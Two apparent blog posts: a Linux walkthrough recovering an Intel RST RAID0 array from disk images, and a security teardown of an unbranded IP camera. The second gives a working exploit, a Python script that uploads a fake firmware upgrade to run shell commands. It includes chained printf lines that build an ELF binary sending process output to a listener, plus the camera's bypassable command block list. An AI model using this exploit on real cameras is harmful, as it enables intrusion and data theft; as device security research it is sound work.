Many years ago, I was using a mainboard's integrated Intel Rapid Storage Technology feature to create a larger disk than was available for SSDs back then. I'd like to recover some data from them, so let's see what Linux can do.

Imaging the Disks

Whenever you work on data recovery, you really want to do everything you do on disk images instead of the live disks. It is too easy to mistype some command or get some unexpected software behavior, ruining your chances at recovery by writing over critical data.

Taking images is luckily trivial, you just need enough space:

# dd status=progress if=/dev/sda of=disk.img bs=1M

In this example, /dev/sda is the disk you want to image, and we set a blocksize of 1 megabyte. A larger blocksize than the default 512 bytes can make copying more efficient, depending on the type of disk etc.

I also took an image of the second disk, ending up with two files disk.img and disk2.img.

Exploring the Disks

Tools often expect blockdevices and not image files, so as a first step, let's create loopback devices for both:

# losetup --find --show disk.img
/dev/loop0
# losetup --find --show disk2.img
/dev/loop1

fdisk can already help us determine the order of the disks:

# fdisk -l /dev/loop0
Disk /dev/loop0: 238.47 GiB, 256060514304 bytes, 500118192 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x1234abcd

Device       Boot     Start        End   Sectors   Size Id Type
/dev/loop0p1 *         2048     718847    716800   350M  7 HPFS/NTFS/exFAT
/dev/loop0p2         718848  999301119 998582272 476.2G  7 HPFS/NTFS/exFAT
/dev/loop0p3      999301120 1000222719    921600   450M 27 Hidden NTFS WinRE

# fdisk -l /dev/loop1
Disk /dev/loop1: 238.47 GiB, 256060514304 bytes, 500118192 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

RAID0 works by interleaving chunks of data between the disks. Since the MBR with the partition table is quite small (512 bytes), it will entirely fit even in the smallest of stripe settings. For this reason, we only get a valid partition table on one of the disks, while not on the other.

We can also see that the second partition is actually larger than the single disk itself, further hinting at a RAID0 situation. It could of course be any sort of RAID technology but there should be further metadata about the configuration of the array. A first hint is this:

# blkid /dev/loop0
/dev/loop0: TYPE="isw_raid_member"

which is a string associated with Intel's Rapid Storage Technology (RST) or Matrix Storage Manager (MSM).

Trying mdadm

mdadm claims to support Intel RST, so let's give it a go:

# mdadm --examine -e imsm /dev/loop0 /dev/loop1
mdadm: /dev/loop0 is not attached to Intel(R) RAID controller.
mdadm: /dev/loop0 is not attached to Intel(R) RAID controller.
mdadm: Failed to retrieve serial for /dev/loop0
mdadm: Failed to load all information sections on /dev/loop0
mdadm: /dev/loop1 is not attached to Intel(R) RAID controller.
mdadm: /dev/loop1 is not attached to Intel(R) RAID controller.
mdadm: Failed to retrieve serial for /dev/loop1
mdadm: Failed to load all information sections on /dev/loop1

This is a bit disappointing, it seems like mdadm expects the array to be set up with the current mainboard, but we are looking at image files, not a live array. Consulting the internet reveals one can set an environment variable to tell mdadm to not expect a controller:

# IMSM_NO_PLATFORM=1 mdadm --examine -e imsm /dev/loop0 /dev/loop1
mdadm: Failed to retrieve serial for /dev/loop0
mdadm: Failed to load all information sections on /dev/loop0
mdadm: Failed to retrieve serial for /dev/loop1
mdadm: Failed to load all information sections on /dev/loop1

This is not really much better, but hey, we got a different error. The internet doesn't seem helpful in this case, so let's go poke a bit at the source code. The code is at on kernel.org but there also seems to be an older github mirror by the former maintainer. Since Github has some nicer code browsing features, let's use that.

Let's start by searching for the first error string: "Failed to retrieve serial for" which leads us to the promising sounding super-intel.c. The context around the line is this:

rv = nvme_get_serial(fd, buf, sizeof(buf));

if (rv)
    rv = scsi_get_serial(fd, buf, sizeof(buf));

if (rv && check_env("IMSM_DEVNAME_AS_SERIAL")) {
    memset(serial, 0, MAX_RAID_SERIAL_LEN);
    fd2devname(fd, (char *) serial);
    return 0;
}

if (rv != 0) {
    if (devname)
        pr_err("Failed to retrieve serial for %s\n",
               devname);
    return rv;
}

So it looks like mdadm is trying to read the serial number of the device it's looking at. This fails for loopback devices. But in the code, we can also see that there's a check for another environment variable to get around it: IMSM_DEVNAME_AS_SERIAL. Let's try that:

# IMSM_DEVNAME_AS_SERIAL=1 IMSM_NO_PLATFORM=1 mdadm --examine -e imsm /dev/loop0 /dev/loop1
/dev/loop0:
        Magic : Intel Raid ISM Cfg Sig.
        Version : 1.0.00
    Orig Family : c241033d
        Family : c241033d
    Generation : 00002613
Creation Time : Unknown
    Attributes : All supported
        UUID : 4de8c4a7:559e81a4:e0687ed8:b47e5ce8
    Checksum : 579a65d2 correct
    MPB Sectors : 1
        Disks : 2
RAID Devices : 1

[root]:
    Subarray : 0
        UUID : f9dd0ad6:7f914762:8b8feecb:32bda46b
    RAID Level : 0
        Members : 2
        Slots : [UU]
    Failed disk : none
    This Slot : ?
    Sector Size : 512
    Array Size : 1000226816 (476.95 GiB 512.12 GB)
Per Dev Size : 500113672 (238.47 GiB 256.06 GB)
Sector Offset : 0
    Num Stripes : 7814272
    Chunk Size : 32 KiB
    Reserved : 0
Migrate State : idle
    Map State : normal
    Dirty State : clean
    RWH Policy : off
    Volume ID : 0

Disk00 Serial : DISKSERIAL1
        State : active
            Id : 00000000
    Usable Size : 500107790 (238.47 GiB 256.06 GB)

Disk01 Serial : DISKSERIAL2
        State : active
            Id : 00010000
    Usable Size : 500107790 (238.47 GiB 256.06 GB)
/dev/loop1:
        Magic : Intel Raid ISM Cfg Sig.
        Version : 1.0.00
    Orig Family : c241033d
        Family : c241033d
    Generation : 00002613
Creation Time : Unknown
    Attributes : All supported
        UUID : 4de8c4a7:559e81a4:e0687ed8:b47e5ce8
    Checksum : 579a65d2 correct
    MPB Sectors : 1
        Disks : 2
RAID Devices : 1

[root]:
    Subarray : 0
        UUID : f9dd0ad6:7f914762:8b8feecb:32bda46b
    RAID Level : 0
        Members : 2
        Slots : [UU]
    Failed disk : none
    This Slot : ?
    Sector Size : 512
    Array Size : 1000226816 (476.95 GiB 512.12 GB)
Per Dev Size : 500113672 (238.47 GiB 256.06 GB)
Sector Offset : 0
    Num Stripes : 7814272
    Chunk Size : 32 KiB
    Reserved : 0
Migrate State : idle
    Map State : normal
    Dirty State : clean
    RWH Policy : off
    Volume ID : 0

Disk00 Serial : DISKSERIAL1
        State : active
            Id : 00000000
    Usable Size : 500107790 (238.47 GiB 256.06 GB)

Disk01 Serial : DISKSERIAL2
        State : active
            Id : 00010000
    Usable Size : 500107790 (238.47 GiB 256.06 GB)

Very nice! This information looks all nice and correct.

Mounting the Array

Let's try to assemble the array:

# IMSM_DEVNAME_AS_SERIAL=1 IMSM_NO_PLATFORM=1  mdadm --assemble --verbose --metadata=imsm /dev/md99 /dev/loop0 /dev/loop1
mdadm: looking for devices for /dev/md99
mdadm: /dev/loop0 is identified as a member of /dev/md99, slot -1.
mdadm: /dev/loop1 is identified as a member of /dev/md99, slot -1.
mdadm: added /dev/loop1 to /dev/md99 as -1
mdadm: added /dev/loop0 to /dev/md99 as -1
mdadm: Container /dev/md99 has been assembled with 2 drives

Unfortunately this only seems to assemble a container which doesn't look like the actual array. Searching the internet is not really giving me the answer here, and such an abstract topic seems tricky to figure out without a complete study of the mdadm source code.

But we have another trick up our sleeve. We can use the device mapper directly to set up a device as we have all the configuration values from mdadm --examine. We know /dev/loop0 comes first and that the chunk size is 32 KiB. The total size is 1000226816. This number is weird though, weren't we expecting around 500000000000 bytes? Turns out, this number is in 512 byte sectors, not bytes. The good thing is dmsetup also expects sectors, so we don't have to convert it:

# dmsetup create restore --table "0 1000226816 striped 2 64 /dev/loop0 0 /dev/loop1 0"

This creates a device mapper volume called restore (so will be found at /dev/mapper/restore). The --table argument contains the config for the volume. The pieces are:

• 0 the start sector. We start at the beginning, so 0 it is.
• 1000226816 the number of sectors of the complete device. Copied from above.
• striped data is striped as this is a RAID0.
• 2 number of disks.
• 64 stripe size in sectors. (32*1024)/512 = 32*2 = 64.
• /dev/loop0 the first disk.
• 0 start with the first sector.
• /dev/loop1 the second disk.
• 0 start with the first sector.

We can use kpartx and ntfs-3g to discover the partitions (so we get /dev/mapper/restore2 like we would with /dev/sda2) and mount the filesystem:

# kpartx -a /dev/mapper/restore
# ntfs-3g -o ro /dev/mapper/restore2 /mnt/restore

And there we go, all the data is there, yay!

Final Thoughts

While this was a good learning experience, having figured out everything let's you do more targeted searches for the magic keywords. And of course it turns out Andrew Brampton went through pretty much the same journey. Oh well ;)

I recently stumbled on an Aliexpress listing for an 8MP, 4K, h.265-capable IP camera in a compact form factor. Neither the listing nor the packaging display any discernible manufacturer. The packaging specifies the model to be GS-BN1BC8MA. At the time of writing, I'm unable to find this model number on Google (nor Bing for that matter).

The product listing specifies the system as Linux on an Mstar processor.

Since similar product listings often mention Cloud NVR features, let's bring this up in an isolated network and see what happens.

Initial network activity

The packaging lists the camera's IP address as 192.168.1.10 without further detail. I therefore set up a network with the router on 192.168.1.1/24 as well as 192.168.57.1/24 with DHCP handing out addresses on the .57. subnet. The firewall is set up to drop anything originating from the interface while allowing ESTABLISHED,RELATED ctstates from my normal network. The DNS server on 192.168.57.1 is set up without any upstream servers, so all DNS lookups will fail.

On boot, the camera announces itself with an ARP broadcast as 192.168.1.10 with a MAC address starting with 00:12:31 (the vendor prefix of Motion Control Systems, Inc). The internet suggests that these IP cameras often just squat MAC address space of unrelated companies, so it can be that this company has nothing to do with the camera.

It also starts a DHCP discovery and will accept an offer, but does not seem to use the given IP address consistently. I've seen both cases where it continued using the default 192.168.1.10 and cases where it does use the IP given by DHCP.

We then see infinite periodic ICMP pings and DNS lookup attempts around every 10 seconds or so. ICMP pings go to:

• 114.114.114.114 (seems to be some Chinese public DNS provider)
• 8.8.8.8 (Google's public DNS)
• 180.76.76.76 (Baidu's public DNS)

DNS lookups are attempted for:

• secu100.net, via 192.168.57.1 (DHCP-provided) and 223.5.5.5 (alidns public DNS)
• aiotsecu.com, via 8.8.8.8 and 114.114.114.114
• pub-cfg.secu100.net, via 192.168.57.1, 8.8.8.8 and 223.5.5.5

Searching for the secu100.net domain suggests that the Cloud P2P feature the booklet mentions could be from Xiongmai, implying that segregating the camera into a restricted network might indeed have been a good idea.

Nmap finds these open ports:

# nmap -p- 192.168.1.10
Starting Nmap 7.80 ( https://nmap.org ) at 2022-10-23 12:57 UTC
Nmap scan report for 192.168.1.10
Host is up (0.00026s latency).
Not shown: 65530 closed ports
PORT      STATE SERVICE
80/tcp    open  http
554/tcp   open  rtsp
8000/tcp  open  http-alt
8899/tcp  open  ospf-lite
34567/tcp open  dhanalakshmi

Some Googling hints at port 34567 being related to a protocol called "Polyvision" and it indeed seems the camera responds to UDP broadcasts like this (eth1 being on the isolated network):

# printf '\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfa\x05\x00\x00\x00\x00' | \
socat - udp-datagram:255.255.255.255:34569,broadcast,so-bindtodevice=eth1

python-dvr

It also looks like python-dvr works with this camera. With its get_system_info() function, we get an additional identifier for the hardware:

• 'DeviceModel': 'IPC_NT98566_85N80_S38'
• 'HardWare': 'IPC_NT98566_85N80_S38'

And capabilities:

{'AlarmFunction': {'AlarmConfig': True,
                'BlindDetect': True,
                'HumanDection': True,
                'HumanPedDetection': True,
                'LossDetect': True,
                'MotionDetect': True,
                'NetAbort': True,
                'NetAlarm': True,
                'NetIpConflict': True,
                'PEAInHumanPed': True,
                'StorageFailure': True,
                'StorageLowSpace': True,
                'StorageNotExist': True},
'CommFunction': {'CommRS232': True, 'CommRS485': True},
'EncodeFunction': {'DoubleStream': True,
                    'SmartH264V2': True,
                    'SnapStream': True},
'NetServerFunction': {'IPAdaptive': True,
                    'NetAlarmCenter': True,
                    'NetDDNS': True,
                    'NetDHCP': True,
                    'NetDNS': True,
                    'NetEmail': True,
                    'NetFTP': True,
                    'NetIPFilter': True,
                    'NetMutlicast': False,
                    'NetNTP': True,
                    'NetNat': True,
                    'NetPMS': True,
                    'NetPMSV2': True,
                    'NetRTSP': True,
                    'NetUPNP': True,
                    'OnvifPwdCheckout': True,
                    'WifiRouteSignalLevel': True},
'OtherFunction': {'NOHDDRECORD': True,
                'SupportAdminContactInfo': True,
                'SupportAlarmVoiceTipInterval': True,
                'SupportAlarmVoiceTips': True,
                'SupportAlarmVoiceTipsType': True,
                'SupportAppBindFlag': True,
                'SupportBT': True,
                'SupportCamareStyle': True,
                'SupportCfgCloudupgrade': True,
                'SupportChangeLanguageNoReboot': True,
                'SupportCloseVoiceTip': True,
                'SupportCloudUpgrade': True,
                'SupportCommDataUpload': True,
                'SupportDimenCode': True,
                'SupportFTPTest': True,
                'SupportFaceDetectV2': True,
                'SupportMailTest': True,
                'SupportPCSetDoubleLight': True,
                'SupportPWDSafety': True,
                'SupportSetVolume': True,
                'SupportShowH265X': True,
                'SupportSnapV2Stream': True,
                'SupportSoftPhotosensitive': True,
                'SupportTextPassword': True,
                'SupportTimeZone': True,
                'SupportWriteLog': True,
                'SuppportChangeOnvifPort': True},
'PreviewFunction': {'Talk': True},
'TipShow': {'NoBeepTipShow': True}}

Encoder settings ("Simplify.Encode"):

[{'ExtraFormat': {'AudioEnable': True,
                'Video': {'BitRate': 439,
                            'BitRateControl': 'VBR',
                            'Compression': 'H.265',
                            'FPS': 15,
                            'GOP': 2,
                            'Quality': 4,
                            'Resolution': 'HD1',
                            'VirtualGOP': 1},
                'VideoEnable': True},
'MainFormat': {'AudioEnable': True,
                'Video': {'BitRate': 1962,
                        'BitRateControl': 'VBR',
                        'Compression': 'H.265',
                        'FPS': 10,
                        'GOP': 2,
                        'Quality': 3,
                        'Resolution': '4K',
                        'VirtualGOP': 1},
                'VideoEnable': True}}]

Firmware

Googling for the device model we found (IPC_NT98566_85N80_S38) yields just one pair of results at the time of writing - but luckily it takes us to a firmware update.

The zip file contains 4 bin files:

• FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all.bin
• FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all.bin
• FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all.bin
• General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all.bin

These seem to actually also be ZIP archives we can unpack to get:

148b39bc79c603df94c53ce53663f590  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.bin.img
148b39bc79c603df94c53ce53663f590  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.bin.img
148b39bc79c603df94c53ce53663f590  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.bin.img
148b39bc79c603df94c53ce53663f590  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.bin.img

298bd81d05f88ef8446190ae31de8da3  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/loader.bin.img
298bd81d05f88ef8446190ae31de8da3  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/loader.bin.img
298bd81d05f88ef8446190ae31de8da3  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/loader.bin.img
298bd81d05f88ef8446190ae31de8da3  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/loader.bin.img

4187676e2b94c511eb4b9a3db4238d53  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/web-x.squashfs.img
4187676e2b94c511eb4b9a3db4238d53  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/web-x.squashfs.img
4187676e2b94c511eb4b9a3db4238d53  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/web-x.squashfs.img
4187676e2b94c511eb4b9a3db4238d53  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/web-x.squashfs.img

534a17dfb80204176cea58d53a502848  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/romfs-x.squashfs.img
534a17dfb80204176cea58d53a502848  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/romfs-x.squashfs.img
534a17dfb80204176cea58d53a502848  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/romfs-x.squashfs.img
534a17dfb80204176cea58d53a502848  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/romfs-x.squashfs.img

58d79de537e0d92e8271ee95e044d39c  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.env.img
58d79de537e0d92e8271ee95e044d39c  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.env.img
58d79de537e0d92e8271ee95e044d39c  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.env.img
58d79de537e0d92e8271ee95e044d39c  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.env.img

6bcb7228e9de76c99a290984d9416f4a  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/InstallDesc
6f21727c0ebc4689967ac4889c8dcd4a  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/custom-x.squashfs.img
6f3754a39d5ea23062667e9ead4177ed  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/InstallDesc
a2bbe7ae2caf6ee68f8c5247731a4e15  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/InstallDesc
bded1bc502b172655ea1fbd7e37b3b3a  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/custom-x.squashfs.img
be58856026fb99305023d58cfb4ed2d4  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/custom-x.squashfs.img
cd06c03759cfaaa8b8e0ff5c7b17ffff  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/custom-x.squashfs.img
da952acca72f01b60d9910a48eaa5488  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/InstallDesc

f387bbd4b694fb3cc96c67d6515c93d4  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/user-x.squashfs.img
f387bbd4b694fb3cc96c67d6515c93d4  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/user-x.squashfs.img
f387bbd4b694fb3cc96c67d6515c93d4  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/user-x.squashfs.img
f387bbd4b694fb3cc96c67d6515c93d4  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/user-x.squashfs.img

sorting them by md5 hash like this makes it quite obvious which files are common to all of them. The ones with differences seem to be InstallDesc and custom-x.squashfs.img. In InstallDesc, the difference seems to be just the CRC and Mx8Q value.

u-boot Environment

We can dump the U-Boot environment with dumpimage from the u-boot-tools package and some Python hackery to remove trailing null bytes and splitting variable definitions on null byte separators to get:

arch=arm
baudrate=115200
board=nvt-na51055
board_name=nvt-na51055
bootdelay=0
cpu=armv7
ethaddr=00:00:23:34:45:66
eth1addr=00:00:23:34:45:77
ethprime=eth0
fdt_high=0x04000000
gatewayip=192.168.68.254
hostname=oaalnx
ipaddr=192.168.68.101
netmask=255.255.255.0
serverip=192.168.68.100
soc=nvt-na51055
ld=mw.b 0x01000000 ff 100000;tftpboot 0x01000000 loader.bin.img;flwrite
df=mw.b 0x01000000 ff 100000;tftpboot 0x01000000 fdt.bin.img;flwrite
da=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 u-boot.bin.img;sf probe 0;flwrite
de=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 u-boot.env.img;sf probe 0;flwrite
dl=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 logo-x.squashfs.img;sf probe 0;flwrite
dr=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 romfs-x.squashfs.img;sf probe 0;flwrite
du=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 user-x.squashfs.img;sf probe 0;flwrite
dc=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 custom-x.squashfs.img;sf probe 0;flwrite
dw=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 web-x.squashfs.img;sf probe 0;flwrite
dd=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 mtd-x.jffs2.img;sf probe 0;flwrite
up=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 update.img;sf probe 0;flwrite
ua=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 upall_verify.img;sf probe 0;flwrite
tk=tftpboot 0x01000000 uImage;setenv setargs setenv bootargs ${bootargs};run setargs;nvt_boot 0x01000000
loadlogo=sf probe 0;sf read 0x02000000  ;logoload 0x02000000;decjpg 0;bootlogo
loadromfs=sf probe 0;sf read 0x02000000 0x40000 0x2E0000;squashfsload;nvt_boot
bootcmd=setenv setargs setenv bootargs ${bootargs};run setargs;run loadromfs
bootargs=earlyprintk console=ttyS0,115200 init=linuxrc mem=${osmem} rootwait nprofile_irq_duration=on root=/dev/mtdblock2 rootfstype=squashfs mtdparts=spi_nor.0:0x10000(loader),0x30000(boot),0x2E0000(romfs),0x420000(usr),0x40000(web),0x30000(custom),0x50000(mtd)
osmem=60M
stderr=ns16550_serial
stdin=ns16550_serial
stdout=ns16550_serial
vendor=novatek
ver=U-Boot 2016.07 (May 15 2019 - 21:34:56 +0800)

SquashFS images

We can also use dumpimage to convert the *.squashfs.img to bare SquashFS filsystems which we can then extract with unsquashfs. This works nicely to just get a look at the files, but it does not preserve the symlinks in some places.

A first obvious thing is to have a look at /etc/passwd. If we search for the root password hash on the internet, it seems to be a well-known password and also shows up in some Mirai botnet related testers for known hardcoded default credentials.

We can go a bit more fancy and mount the images:

mount "$FW_DIR/romfs-x.squashfs" "$MOUNT_DIR" -t squashfs -o loop
mount "$FW_DIR/user-x.squashfs" "$MOUNT_DIR/usr" -t squashfs -o loop
mount "$FW_DIR/web-x.squashfs" "$MOUNT_DIR/mnt/web" -t squashfs -o loop
mount "$FW_DIR/custom-x.squashfs" "$MOUNT_DIR/mnt/custom" -t squashfs -o loop

which will recreate the filesystem hierarchy the camera sees. This is not quite everything that is mounted, but you can see the exact setup in /etc/init.d/rcS. There, we can also see that the main application (/usr/bin/App) seems to be launched through /usr/sbin/AppRun.sh.

InstallDesc

The InstallDesc file is interesting since it contains instructions for what to do when running an upgrade. At first glance, it looks like there is some sort of integrity checking with the CRC and Mx8Q values.

The python-dvr project we used earlier has a method to apply such firmware upgrades, but more interestingly, it also has a script telnet_opener.py. It uses a "Shell" command instead of "Burn" to run scripts. The constructed InstallDesc file however seems to use some hardcoded CRC value independent of what script is run, suggesting that the CRC is not actually checked.

Sadly our firmware does not seem to include a telnetd binary, but we can test by pinging our router:

import zipfile
import argparse
import json

from dvrip import DVRIPCam


def make_zip(filename, cmd):
    data = json.dumps({
        "UpgradeCommand": [{"Command": "Shell", "Script": cmd}],
        "Hardware": "IPC_NT98566_85N80_S38",
        "DevID": "000639I21001000000000200",
        "Vendor": "General",
        "CompatibleVersion": 1,
        }, indent=2)
    with zipfile.ZipFile(filename, "w", zipfile.ZIP_DEFLATED) as zipf:
        zipf.writestr("InstallDesc", data)


def main():
    cam = DVRIPCam("<YOUR_CAMERA_IP>", user="admin", password="")
    if not cam.login():
        print("Cannot connect")
        return
    make_zip("/tmp/update.bin", "/bin/ping -c 5 <YOUR_ROUTER_IP>")
    cam.upgrade("/tmp/update.bin")
    cam.close()

if __name__ == "__main__":
    main()

and indeed, running this causes 5 ICMP pings to show up at the router without even specifying a CRC or Mx8Q value at all! As is, this however does seem to reboot the camera afterwards.

Poking at the App code

If we look at the App binary in a disassembler (e.g. Ghidra) to get a better idea what happens during an upgrade, we can find logging printf calls implying a function called CUpgrader::onUpgrade. Without having done a detailed analysis, it looks like this function has two ways of operating:

• Shelling out to /usr/bin/upgrader
• Doing stuff itself

The upgrade part directly in the App binary seems to have code to check the CRC (unless disabled through CheckVersionCRC in InstallDesc) and Mx8Q values, but it does not seem to happen for our shell command payload (or the camera is running an older firmware without the code). Computing the Mx8Q value seems to involve some sort of MD5 hashing.

The App implementation will also skip over shell commands that contain as a substring any of:

• telnetd
• sleep
• /debug

or if they are longer than 100 characters. These restrictions look like attempts to deal with some of the exploitation history around this vendor - but since there are many ways to break strings up in a shell, a substring match like this is entirely pointless as long as you let clients feed anything else they like into a system() call.

Getting some data back

So far, we've only run some pings - a nice way to get an observable side-effect to confirm it's working - but not really anything helping us to get data out. Looking at all available binaries on from the SquashFS images, it sadly looks like we don't have anything interesting to open some sort of connection. We could maybe abuse the built-in web server, but the web root is on a read-only filesystem we'd have to mount a ramfs over to be able to write outputs.

So instead, let's try to ship a binary of our choice over to the camera. While we're limited to 100 bytes per shell command, we can add multiple shell commands which will be run in sequence. In terms of what to run, we want something small that can communicate over the network. Doing some research, I stumbled on sockout which is a minimal ELF binary providing the bare minimum of netcat functionality. So let's take sockconnect and put our IP (192.168.57.1, aka. \xc0\xa8\x39\x01 in network byte order) at the end and combine it with our previous script:

import zipfile
import argparse
import json

from dvrip import DVRIPCam


def make_zip(filename, cmd):
    upgrade_command = []
    if isinstance(cmd, str):
        upgrade_command.append({"Command": "Shell", "Script": cmd})
    else:
        for c in cmd:
        upgrade_command.append({"Command": "Shell", "Script": c})
    data = json.dumps({
        "UpgradeCommand": upgrade_command,
        "Hardware": "IPC_NT98566_85N80_S38",
        "DevID": "000639I21001000000000200",
        "Vendor": "General",
        "CompatibleVersion": 1,
        }, indent=2)
    with zipfile.ZipFile(filename, "w", zipfile.ZIP_DEFLATED) as zipf:
        zipf.writestr("InstallDesc", data)


def main():
    cam = DVRIPCam("<IP of camera>", user="admin", password="")
    if not cam.login():
        print(f"Cannot connect")
        return

    make_zip("/tmp/update.bin", [
        r"printf '\x7f\x45\x4c\x46\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00' > /var/sc",
        r"printf '\x02\x00\x28\x00\x20\x00\x20\x00\x20\x00\x20\x00\x04\x00\x00\x00' >> /var/sc",
        r"printf '\x09\x10\x8f\xe2\x11\xff\x2f\xe1\x34\x00\x20\x00\x01\x00\x00\x00' >> /var/sc",
        r"printf '\x02\x20\x01\x21\x52\x40\xc8\x27\x51\x37\x00\xdf\x04\x1c\x0c\xa1' >> /var/sc",
        r"printf '\x10\x22\x02\x37\x00\xdf\x01\x23\x9b\x02\x69\x46\xc9\x1a\x8d\x46' >> /var/sc",
        r"printf '\x00\x20\x1a\x1c\x03\x27\x00\xdf\x02\x1c\x20\x1c\x04\x27\x00\xdf' >> /var/sc",
        r"printf '\x00\x2a\xf5\xdc\x20\x1c\x06\x27\x00\xdf\x40\x40\x01\x27\x00\xdf' >> /var/sc",
        r"printf '\x02\x00\x11\x5c\xc0\xa8\x39\x01' >> /var/sc",
        'chmod +x /var/sc',
        'ps aux | /var/sc',
    ])
    cam.upgrade("/tmp/update.bin")
    cam.close()

if __name__ == '__main__':
    main()

We can listen for this with nc -l 192.168.57.1 4444 on our router and get:

PID USER       VSZ STAT COMMAND
  1 root      1548 S    linuxrc
  2 root         0 SW   [kthreadd]
  3 root         0 IW<  [rcu_gp]
  4 root         0 IW<  [rcu_par_gp]
  5 root         0 IW   [kworker/0:0-eve]
  6 root         0 IW<  [kworker/0:0H-kb]
  7 root         0 IW   [kworker/u2:0-ev]
  8 root         0 IW<  [mm_percpu_wq]
  9 root         0 SW   [ksoftirqd/0]
 10 root         0 IW   [rcu_preempt]
 11 root         0 IW   [rcu_sched]
 12 root         0 IW   [rcu_bh]
 13 root         0 SW   [kdevtmpfs]
 14 root         0 SW   [rcu_tasks_kthre]
 15 root         0 SW   [oom_reaper]
 16 root         0 IW<  [writeback]
 17 root         0 SW   [kcompactd0]
 18 root         0 IW<  [crypto]
 19 root         0 IW<  [kblockd]
 20 root         0 SW   [watchdogd]
 21 root         0 SW   [irq/52-DAI_INT]
 22 root         0 IW   [kworker/0:1-eve]
 23 root         0 IW<  [rpciod]
 24 root         0 IW<  [kworker/u3:0]
 25 root         0 IW<  [xprtiod]
 26 root         0 SW   [kswapd0]
 27 root         0 IW<  [nfsiod]
 37 root         0 IW   [kworker/u2:1-ev]
 71 root         0 IW   [kworker/0:2-mtd]
 72 root         0 IW<  [kworker/0:1H-kb]
 87 root         0 SWN  [jffs2_gcd_mtd6]
126 root         0 DW   [timer_ist]
131 root         0 DW   [nvt_ddr_proc_ts]
